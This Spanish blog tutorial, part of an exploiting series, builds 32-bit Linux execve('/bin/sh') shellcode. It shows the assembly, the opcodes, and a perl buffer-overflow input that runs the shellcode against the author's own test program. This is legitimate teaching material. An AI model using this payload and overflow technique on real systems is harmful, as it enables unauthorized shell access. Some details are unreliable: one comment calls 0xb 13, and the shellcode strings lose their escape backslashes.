Esta pagina se ve mejor con JavaScript habilitado

Ejecución de una shell mediante shellcode, exploiting parte 5

 ·  🎃 kr0m

Ahora que ya tenemos las bases sobre escritura de shellcodes vamos a escribir una mas interesante que un simple exit, vamos a programar una shellcode que ejecute un execve con /bin/sh como parámetro de este modo obtendremos shell.

Lo primero es saber que parámetros necesita la función execve y además que registro se encarga de cada parámetro:


Debemos averiguar el valor de la cadena /bin/sh en hexadecimal para poder meter este valor en la ram y así asignarle esa posición de memoria al registro adecuado:

kr0m@reversedbox:~$ python

>>> '//bin/sh'[::-1].encode('hex')
'68732f6e69622f2f'

NOTA: Hemos repetido el carácter / para que la codificación de la cadena a hexadecimal sea multiplo de 4, de este modo se puede subir la cadena que consta de 8bytes mediante dos push, esto es posible ya que en Linux /bin/sh es equivalente a //bin/sh

Ahora ya tenemos todo lo necesario para programar nuestra shellcode en ASM:

vi execve.asm

section .text
global _start
_start:

xor ecx,ecx ; ECX --> 0
xor eax,eax ; EAX --> 0
xor edx,edx ; EDX --> 0
mov al,0xb ; EAX --> 13
push ecx ; Mete en RAM el ? de fin de cadena
push dword 0x68732f2f ; Primer push para meter la primera parte de la cadena
push dword 0x6e69622f ; Segundo push para meter la segunda parte de la cadena
mov ebx,esp ; EBX --> Dirección de //bin/sh?
int 0x80 ; Ejecuta la syscall

Ensamblamos el programa:

nasm -f elf execve.asm && ld execve.o -o execve

Lo ejecutamos para comprobar que realmente funciona:

kr0m@reversedbox:~$ ./execve

$

Sacamos los opcodes:

kr0m@reversedbox:~$ objdump -M intel-mnemonic -d execve

execve:     file format elf32-i386
Disassembly of section .text:

08048060 <_start>:
 8048060:    31 c9                    xor    ecx,ecx
 8048062:    31 c0                    xor    eax,eax
 8048064:    31 d2                    xor    edx,edx
 8048066:    b0 0b                    mov    al,0xb
 8048068:    51                       push   ecx
 8048069:    68 2f 2f 73 68           push   0x68732f2f
 804806e:    68 2f 62 69 6e           push   0x6e69622f
 8048073:    89 e3                    mov    ebx,esp
 8048075:    cd 80                    int    0x80

Podemos utilizar la shellcode por ejemplo en el segundo ejemplo de la serie de exploiting:

kr0m@reversedbox:~$ ./overrun perl -e 'print "x31xc9x31xc0x31xd2xb0x0bx51x68x2fx2fx73x68x68x2fx62x69x6ex89xe3xcdx80" . "A"x21 . "x50xf7xffxbf"'

 Alfaexploit overrun proof of concept, welcome: 1É1À1?
                                                      Qh//shh/binã?AAAAAAAAAAAAAAAAAAAAAP÷ÿ¿
#

Podemos realizar la operación inversa, de una shellcode sacar el código en ASM:

kr0m@reversedbox:~$ echo -ne “x31xc9x31xc0x31xd2xb0x0bx51x68x2fx2fx73x68x68x2fx62x69x6ex89xe3xcdx80” | ndisasm -u -

00000000  31C9              xor ecx,ecx
00000002  31C0              xor eax,eax
00000004  31D2              xor edx,edx
00000006  B00B              mov al,0xb
00000008  51                push ecx
00000009  682F2F7368        push dword 0x68732f2f
0000000E  682F62696E        push dword 0x6e69622f
00000013  89E3              mov ebx,esp
00000015  CD80              int 0x80

Misión cumplida, exploit ejecutado mediante nuestra propia shellcode ;)

Si te ha gustado el artículo puedes invitarme a un RedBull aquí